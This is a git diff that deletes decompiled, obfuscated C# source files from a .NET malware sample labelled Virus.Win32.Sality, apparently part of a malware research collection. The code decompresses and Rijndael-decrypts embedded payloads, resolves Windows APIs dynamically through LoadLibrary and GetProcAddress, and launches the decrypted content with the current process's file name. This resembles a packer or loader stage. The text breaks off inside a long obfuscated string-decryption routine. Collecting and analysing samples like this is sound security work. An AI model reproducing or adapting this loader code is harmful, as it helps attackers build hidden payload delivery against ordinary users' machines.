Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0007; -using \u0008; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.IO; -using System.IO.Compression; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0007 -{ - internal sealed class \u0003 : \u0001 - { - [MethodImpl(MethodImplOptions.NoInlining)] - public \u0003() - { - \u0003.\u0003(); - // ISSUE: explicit constructor call - base.\u002Ector(); - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public override object \u0003([In] object[] obj0) - { - MemoryStream memoryStream1; - byte[] buffer; - MemoryStream memoryStream2; - DeflateStream deflateStream1; - int count; - try - { - memoryStream2 = new MemoryStream((byte[]) obj0[0]); - memoryStream1 = new MemoryStream(); - buffer = new byte[1024]; - deflateStream1 = new DeflateStream((Stream) memoryStream2, CompressionMode.Decompress, true); - try - { - while (true) - { - count = deflateStream1.Read(buffer, 0, buffer.Length); - if (count > 0) - memoryStream1.Write(buffer, 0, count); - else - break; - } - } - finally - { - deflateStream1?.Dispose(); - } - return (object) memoryStream1.ToArray(); - } - catch (Exception ex) - { - MemoryStream memoryStream3 = memoryStream2; - MemoryStream memoryStream4 = memoryStream1; - byte[] numArray = buffer; - DeflateStream deflateStream2 = deflateStream1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) count; - object[] objArray = obj0; - throw UnhandledException.\u0003(ex, (object) memoryStream3, (object) memoryStream4, (object) numArray, (object) deflateStream2, (object) local, (object) this, (object) objArray); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0004.cs deleted file mode 100644 index 092e54df..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0004.cs +++ /dev/null @@ -1,100 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0006; -using \u0007; -using \u0008; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0007 -{ - internal sealed class \u0004 : \u0001 - { - [MethodImpl(MethodImplOptions.NoInlining)] - public \u0004() - { - \u0003.\u0003(); - // ISSUE: explicit constructor call - base.\u002Ector(); - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public override object \u0003([In] object[] obj0) - { - object[] objArray1; - byte[] numArray1; - object[] objArray2; - byte[] numArray2; - object[] objArray3; - byte[] numArray3; - object[] objArray4; - try - { - \u0005.\u0001 = (\u0001) new \u0005(); - \u0001 obj1 = \u0005.\u0001; - objArray1 = new object[1]{ (object) 100 }; - object[] objArray5 = objArray1; - numArray1 = (byte[]) obj1.\u0003(objArray5); - \u0001 obj2 = \u0005.\u0001; - objArray2 = new object[1]{ (object) 101 }; - object[] objArray6 = objArray2; - numArray2 = (byte[]) obj2.\u0003(objArray6); - if (numArray1.Length <= 0 || numArray2.Length <= 0) - return (object) null; - \u0005.\u0001 = (\u0001) new \u0007.\u0006(); - \u0001 obj3 = \u0005.\u0001; - objArray3 = new object[2] - { - (object) numArray2, - (object) numArray1 - }; - object[] objArray7 = objArray3; - numArray3 = (byte[]) obj3.\u0003(objArray7); - if (numArray3.Length <= 0) - return (object) null; - if (obj0.Length <= 0) - { - obj0 = new object[1]; - obj0[0] = (object) new string[1]; - } - \u0005.\u0001 = (\u0001) new \u0006.\u0006(); - \u0001 obj4 = \u0005.\u0001; - objArray4 = new object[3] - { - (object) numArray3, - (object) (string[]) obj0[0], - (object) Process.GetCurrentProcess().MainModule.FileName - }; - object[] objArray8 = objArray4; - obj4.\u0003(objArray8); - return (object) null; - } - catch (Exception ex) - { - byte[] numArray4 = numArray1; - byte[] numArray5 = numArray2; - byte[] numArray6 = numArray3; - object[] objArray9 = objArray1; - object[] objArray10 = objArray2; - object[] objArray11 = objArray3; - object[] objArray12 = objArray4; - object[] objArray13 = obj0; - throw UnhandledException.\u0003(ex, (object) numArray4, (object) numArray5, (object) numArray6, (object) objArray9, (object) objArray10, (object) objArray11, (object) objArray12, (object) this, (object) objArray13); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0005.cs deleted file mode 100644 index 24e81aa0..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0005.cs +++ /dev/null @@ -1,140 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0006; -using \u0007; -using \u0008; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0007 -{ - internal sealed class \u0005 : \u0001 - { - private \u0005.\u0002 \u0001; - private \u0005.\u0001 \u0001; - private \u0005.\u0004 \u0001; - private \u0005.\u0003 \u0001; - - [MethodImpl(MethodImplOptions.NoInlining)] - public \u0005() - { - \u0003.\u0003(); - // ISSUE: explicit constructor call - base.\u002Ector(); - object[] objArray1; - object[] objArray2; - object[] objArray3; - object[] objArray4; - try - { - \u0005.\u0001 = (\u0001) new \u0001(); - \u0001 obj1 = \u0005.\u0001; - objArray1 = new object[3] - { - (object) \u0002.\u0003(374), - (object) \u0002.\u0003(394), - (object) typeof (\u0005.\u0002) - }; - object[] objArray5 = objArray1; - this.\u0001 = (\u0005.\u0002) obj1.\u0003(objArray5); - \u0001 obj2 = \u0005.\u0001; - objArray2 = new object[3] - { - (object) \u0002.\u0003(424), - (object) \u0002.\u0003(444), - (object) typeof (\u0005.\u0001) - }; - object[] objArray6 = objArray2; - this.\u0001 = (\u0005.\u0001) obj2.\u0003(objArray6); - \u0001 obj3 = \u0005.\u0001; - objArray3 = new object[3] - { - (object) \u0002.\u0003(472), - (object) \u0002.\u0003(492), - (object) typeof (\u0005.\u0004) - }; - object[] objArray7 = objArray3; - this.\u0001 = (\u0005.\u0004) obj3.\u0003(objArray7); - \u0001 obj4 = \u0005.\u0001; - objArray4 = new object[3] - { - (object) \u0002.\u0003(520), - (object) \u0002.\u0003(540), - (object) typeof (\u0005.\u0003) - }; - object[] objArray8 = objArray4; - this.\u0001 = (\u0005.\u0003) obj4.\u0003(objArray8); - } - catch (Exception ex) - { - object[] objArray9 = objArray1; - object[] objArray10 = objArray2; - object[] objArray11 = objArray3; - object[] objArray12 = objArray4; - throw UnhandledException.\u0003(ex, (object) objArray9, (object) objArray10, (object) objArray11, (object) objArray12, (object) this); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public override object \u0003([In] object[] obj0) - { - IntPtr num1; - IntPtr num2; - IntPtr source; - int length; - byte[] destination; - try - { - destination = new byte[0]; - object obj; - try - { - num1 = this.\u0001(IntPtr.Zero, (IntPtr) (int) obj0[0], (IntPtr) 4); - num2 = this.\u0001(IntPtr.Zero, num1); - source = this.\u0001(num2); - length = this.\u0001(IntPtr.Zero, num1); - destination = new byte[length]; - Marshal.Copy(source, destination, 0, length); - } - catch - { - obj = (object) destination; - goto label_4; - } - return (object) destination; -label_4: - return obj; - } - catch (Exception ex) - { - byte[] numArray = destination; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num1; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) num2; - // ISSUE: variable of a boxed type - __Boxed local3 = (ValueType) source; - // ISSUE: variable of a boxed type - __Boxed local4 = (ValueType) length; - object obj1; - object obj2 = obj1; - object[] objArray = obj0; - throw UnhandledException.\u0003(ex, (object) numArray, (object) local1, (object) local2, (object) local3, (object) local4, obj2, (object) this, (object) objArray); - } - } - - private delegate IntPtr \u0001(IntPtr _param1, IntPtr _param2); - - private delegate IntPtr \u0002(IntPtr _param1, IntPtr _param2, IntPtr _param3); - - private delegate int \u0003(IntPtr _param1, IntPtr _param2); - - private delegate IntPtr \u0004(IntPtr _param1); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0006.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0006.cs deleted file mode 100644 index 7ff0f7b6..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007/_0006.cs +++ /dev/null @@ -1,74 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0006; -using \u0007; -using \u0008; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0007 -{ - internal sealed class \u0006 : \u0001 - { - [MethodImpl(MethodImplOptions.NoInlining)] - public \u0006() - { - \u0003.\u0003(); - // ISSUE: explicit constructor call - base.\u002Ector(); - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public override object \u0003([In] object[] obj0) - { - object[] objArray1; - object[] objArray2; - try - { - \u0005.\u0001 = (\u0001) new \u0002(); - object[] objArray3 = obj0; - \u0001 obj1 = \u0005.\u0001; - objArray1 = new object[2] - { - (object) (byte[]) obj0[0], - (object) Encoding.Default.GetString((byte[]) obj0[1]) - }; - object[] objArray4 = objArray1; - byte[] numArray1 = (byte[]) obj1.\u0003(objArray4); - objArray3[0] = (object) numArray1; - \u0005.\u0001 = (\u0001) new \u0003(); - object[] objArray5 = obj0; - \u0001 obj2 = \u0005.\u0001; - objArray2 = new object[1] - { - (object) (byte[]) obj0[0] - }; - object[] objArray6 = objArray2; - byte[] numArray2 = (byte[]) obj2.\u0003(objArray6); - objArray5[0] = (object) numArray2; - return (object) (byte[]) obj0[0]; - } - catch (Exception ex) - { - object[] objArray7 = objArray1; - object[] objArray8 = objArray2; - object[] objArray9 = obj0; - throw UnhandledException.\u0003(ex, (object) objArray7, (object) objArray8, (object) this, (object) objArray9); - } - } - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0003.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0003.cs deleted file mode 100644 index 8431f993..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.Runtime.InteropServices; -using System.Windows.Forms; - -internal delegate void \u0007\u0003([In] object obj0, [In] DockStyle obj1); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0004.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0004.cs deleted file mode 100644 index 0e9b1464..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0004.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System.IO; -using System.Runtime.InteropServices; - -internal delegate long \u0007\u0004([In] object obj0, [In] long obj1, [In] SeekOrigin obj2); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0005.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0005.cs deleted file mode 100644 index 34211143..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0007_0005.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate Version \u0007\u0005([In] object obj0); diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/Token2000133.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/Token2000133.cs deleted file mode 100644 index fcbad58a..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/Token2000133.cs +++ /dev/null @@ -1,12 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: .Token2000133 -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -namespace \u0008 -{ - internal class Token2000133 : \u0024Unresolved\u0024Token\u003A2003FFF - { - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0001.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0001.cs deleted file mode 100644 index c0d8ccd5..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0001.cs +++ /dev/null @@ -1,61 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0007; -using \u0008; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0008 -{ - internal sealed class \u0001 : \u0001 - { - [MethodImpl(MethodImplOptions.NoInlining)] - public \u0001() - { - \u0003.\u0003(); - // ISSUE: explicit constructor call - base.\u002Ector(); - try - { - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex, (object) this); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - public override object \u0003([In] object[] obj0) - { - IntPtr num; - IntPtr ptr; - try - { - num = \u0001.\u0003((string) obj0[0]); - ptr = \u0001.\u0003(num, (string) obj0[1]); - return (object) Marshal.GetDelegateForFunctionPointer(ptr, (Type) obj0[2]); - } - catch (Exception ex) - { - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num; - // ISSUE: variable of a boxed type - __Boxed local2 = (ValueType) ptr; - object[] objArray = obj0; - throw UnhandledException.\u0003(ex, (object) local1, (object) local2, (object) this, (object) objArray); - } - } - - [DllImport("kernel32", EntryPoint = "LoadLibrary")] - private static extern IntPtr \u0003([In] string obj0); - - [DllImport("kernel32", EntryPoint = "GetProcAddress")] - private static extern IntPtr \u0003([In] IntPtr obj0, [In] string obj1); - } -} diff --git a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0002.cs b/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0002.cs deleted file mode 100644 index f0840c4d..00000000 --- a/MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0008/_0002.cs +++ /dev/null @@ -1,2599 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: a5b7ee8e-cbdf-4eff-9144-efd0c433f3fe, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 97CE9FDF-0921-44CB-AE13-1E9A2A550F0F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0001; -using \u0008; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Collections; -using System.Collections.Generic; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; - -namespace \u0008 -{ - internal sealed class \u0002 - { - [NonSerialized] - internal static \u0002 \u0001; - private static byte[] \u0001; - private static byte[] \u0002; - private static byte[] \u0003; - private static IntPtr \u0001; - private static bool \u0001; - private static int \u0001; - internal static \u0002.\u0001 \u0001; - private static long \u0001; - private static bool \u0002; - private static SortedList \u0001; - private static byte[] \u0004; - private static int \u0002; - internal static Dictionary \u0001; - private static long \u0002; - private static IntPtr \u0002; - private static object \u0001; - private static IntPtr \u0003; - private static int \u0003; - private static int[] \u0001; - private static int \u0004; - internal static \u0002.\u0001 \u0002; - - [MethodImpl(MethodImplOptions.NoInlining)] - static \u0002() - { - try - { - \u0003.\u0003(); - \u0002.\u0001 = new byte[0]; - \u0002.\u0002 = new byte[0]; - \u0002.\u0004 = new byte[0]; - \u0002.\u0003 = new byte[0]; - \u0002.\u0003 = IntPtr.Zero; - \u0002.\u0001 = IntPtr.Zero; - \u0002.\u0001 = (object) new string[0]; - \u0002.\u0001 = new int[0]; - \u0002.\u0003 = 1; - \u0002.\u0001 = false; - \u0002.\u0001 = new SortedList(); - \u0002.\u0001 = 0; - \u0002.\u0002 = 0L; - \u0002.\u0002 = (\u0002.\u0001) null; - \u0002.\u0001 = (\u0002.\u0001) null; - \u0002.\u0001 = 0L; - \u0002.\u0002 = 0; - \u0002.\u0002 = false; - \u0002.\u0004 = 0; - \u0002.\u0002 = IntPtr.Zero; - \u0002.\u0001 = new Dictionary(); - } - catch (Exception ex) - { - throw UnhandledException.\u0003(ex); - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - static string \u0003([In] int obj0) - { - byte[] numArray1; - int num1; - int num2; - byte[] numArray2; - int num3; - byte[] numArray3; - byte[] numArray4; - RijndaelManaged rijndaelManaged; - byte[] numArray5; - ICryptoTransform transform; - MemoryStream memoryStream; - BinaryReader binaryReader; - int num4; - CryptoStream cryptoStream; - byte[] numArray6; - try - { - int num5 = 233; -label_331: - while (true) - { - num3 = num5; -label_332: - while (true) - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - do - { - int num6 = num3; - while (true) - { - switch (num6) - { - case 0: - num2 = 70 + 39; - num6 = 208; - continue; - case 1: - num1 = 16 + 112; - num3 = 42; - if (true) - goto label_332; - else - goto case 279; - case 2: - numArray2[24] = (byte) (52 + 45); - num3 = 189; - if (\u0002.\u0004()) - goto case 121; - else - goto label_332; - case 3: - goto label_37; - case 4: - goto label_242; - case 5: - num2 = 179 - 59; - num6 = 286; - continue; - case 6: - num1 = 22 + 12; - num6 = 78; - continue; - case 7: - goto label_24; - case 8: - num2 = 71 + 108; - num6 = 131; - continue; - case 9: - numArray3 = numArray1; - num6 = 90; - continue; - case 10: - goto label_306; - case 11: - goto label_354; - case 12: - goto label_294; - case 13: - goto label_258; - case 14: - goto label_327; - case 15: - num1 = 22 + 16; - num6 = 251; - continue; - case 16: - numArray2[23] = (byte) num2; - goto case 155; - case 17: - numArray2[5] = (byte) (74 + 33); - num6 = 23; - continue; - case 18: - numArray2[7] = (byte) (176 - 58); - num3 = 237; - if (!\u0002.\u0003()) - goto case 265; - else - goto label_332; - case 19: - goto label_15; - case 20: - goto label_115; - case 21: - numArray2[3] = (byte) (13 + 103); - num6 = 148; - continue; - case 22: - goto label_210; - case 23: - goto label_74; - case 24: - goto label_79; - case 25: - goto label_72; - case 26: - num1 = 160 - 53; - num3 = 123; - if (true) - goto label_332; - else - goto case 129; - case 27: - numArray1[2] = (byte) (7 + 3); - num6 = 248; - continue; - case 28: - goto label_260; - case 29: - goto label_163; - case 30: - numArray1[6] = (byte) (214 - 71); - num3 = 145; - if (true) - goto label_332; - else - goto case 93; - case 31: - goto label_138; - case 32: - goto label_49; - case 33: - goto label_191; - case 34: - goto label_283; - case 35: - num2 = 119 + 9; - num6 = 185; - continue; - case 36: - goto label_44; - case 37: - num2 = 120 - 47; - num3 = 205; - if (\u0002.\u0004()) - goto case 94; - else - goto label_332; - case 38: - num1 = 226 - 120; - num6 = 262; - continue; - case 39: - num1 = 235 - 78; - num3 = 87; - if (true) - goto label_332; - else - goto case 326; - case 40: - goto label_8; - case 41: - num2 = 243 - 81; - num6 = 52; - continue; - case 42: - goto label_52; - case 43: - numArray1[6] = (byte) num1; - num6 = 28; - continue; - case 44: - goto label_277; - case 45: - goto label_162; - case 46: - num2 = 48 + 108; - num3 = 176; - if (true) - goto label_332; - else - goto case 162; - case 47: - goto label_114; - case 48: - goto label_67; - case 49: - goto label_239; - case 50: - numArray6 = (byte[]) \u0002.\u0003((object) binaryReader, (int) \u0002.\u0003(\u0002.\u0003((object) binaryReader))); - num6 = 191; - continue; - case 51: - numArray3[15] = numArray4[7]; - num3 = 272; - if (!\u0002.\u0004()) - goto label_332; - else - goto case 26; - case 52: - goto label_200; - case 53: - goto label_194; - case 54: - case 92: - goto label_263; - case 55: - goto label_70; - case 56: - goto label_147; - case 57: - goto label_89; - case 58: - numArray2[21] = (byte) num2; - num6 = 125; - continue; - case 59: - numArray2[15] = (byte) (203 - 67); - num6 = 85; - continue; - case 60: - goto label_158; - case 61: - goto label_66; - case 62: - goto label_141; - case 63: - goto label_64; - case 64: - num2 = 223 - 74; - num6 = 219; - continue; - case 65: - goto label_121; - case 66: - goto label_285; - case 67: - goto label_224; - case 68: - goto label_156; - case 69: - goto label_195; - case 70: - numArray1[4] = (byte) (42 + 81); - num3 = 256; - if (!\u0002.\u0003()) - goto case 341; - else - goto label_332; - case 71: - numArray2[5] = (byte) num2; - num3 = 319; - if (\u0002.\u0004()) - goto case 343; - else - goto label_332; - case 72: - goto label_9; - case 73: - goto label_155; - case 74: - numArray2[30] = (byte) (30 + 37); - num3 = 100; - if (!\u0002.\u0003()) - goto case 208; - else - goto label_332; - case 75: - goto label_71; - case 76: - goto label_12; - case 77: - numArray1[3] = (byte) (251 - 83); - num6 = 245; - continue; - case 78: - numArray1[5] = (byte) num1; - num6 = 67; - continue; - case 79: - goto label_92; - case 80: - goto label_42; - case 81: - goto label_153; - case 82: - numArray1[12] = (byte) ((int) sbyte.MaxValue - 42); - num6 = 197; - continue; - case 83: - goto label_340; - case 84: - numArray2[10] = (byte) (164 - 54); - num3 = 204; - if (true) - goto label_332; - else - goto case 90; - case 85: - numArray2[15] = (byte) (135 - 45); - num6 = 138; - continue; - case 86: - goto label_172; - case 87: - goto label_61; - case 88: - goto label_209; - case 89: - goto label_176; - case 90: - // ISSUE: type reference - numArray4 = (byte[]) \u0002.\u0005(\u0002.\u0004((object) \u0002.\u0003(__typeref (\u0002)).Assembly)); - num3 = 198; - if (\u0002.\u0004()) - goto case 151; - else - goto label_332; - case 91: - goto label_244; - case 93: - num2 = 100 + 70; - num3 = 309; - if (\u0002.\u0004()) - goto case 161; - else - goto label_332; - case 94: - num2 = 241 - 80; - num6 = 108; - continue; - case 95: - num2 = 211 - 110; - num6 = 53; - continue; - case 96: - goto label_238; - case 97: - goto label_80; - case 98: - goto label_346; - case 99: - goto label_274; - case 100: - numArray2[30] = (byte) (195 - 65); - num3 = 213; - if (!\u0002.\u0004()) - goto label_332; - else - goto case 186; - case 101: - goto label_179; - case 102: - goto label_310; - case 103: - goto label_101; - case 104: - goto label_304; - case 105: - goto label_166; - case 106: - goto label_117; - case 107: - goto label_233; - case 108: - goto label_202; - case 109: - goto label_38; - case 110: - num1 = 126 + 91; - num6 = 179; - continue; - case 111: - numArray2[14] = (byte) (96 + 54); - num6 = 99; - continue; - case 112: - numArray2[1] = (byte) num2; - num6 = 247; - continue; - case 113: - goto label_305; - case 114: - goto label_6; - case 115: - goto label_106; - case 116: - goto label_120; - case 117: - goto label_91; - case 118: - numArray2[1] = (byte) (139 - 106); - num6 = 334; - continue; - case 119: - numArray2[2] = (byte) (115 + 21); - num6 = 279; - continue; - case 120: - goto label_328; - case 121: - num1 = 154 - 51; - num6 = 229; - continue; - case 122: - goto label_45; - case 123: - numArray1[1] = (byte) num1; - num3 = 39; - if (!\u0002.\u0004()) - goto label_332; - else - goto case 188; - case 124: - goto label_314; - case 125: - goto label_35; - case 126: - goto label_19; - case (int) sbyte.MaxValue: - numArray2[27] = (byte) (15 + 71); - num3 = 80; - if (!\u0002.\u0004()) - goto label_332; - else - goto case 153; - case 128: - goto label_10; - case 129: - numArray1[10] = (byte) (53 + 91); - num6 = 139; - continue; - case 130: - goto label_259; - case 131: - numArray2[0] = (byte) num2; - num3 = 274; - if (true) - goto label_332; - else - goto case 38; - case 132: - goto label_88; - case 133: - goto label_157; - case 134: - numArray1[7] = (byte) (240 - 80); - num6 = 307; - continue; - case 135: - goto label_230; - case 136: - goto label_17; - case 137: - goto label_187; - case 138: - goto label_221; - case 139: - goto label_95; - case 140: 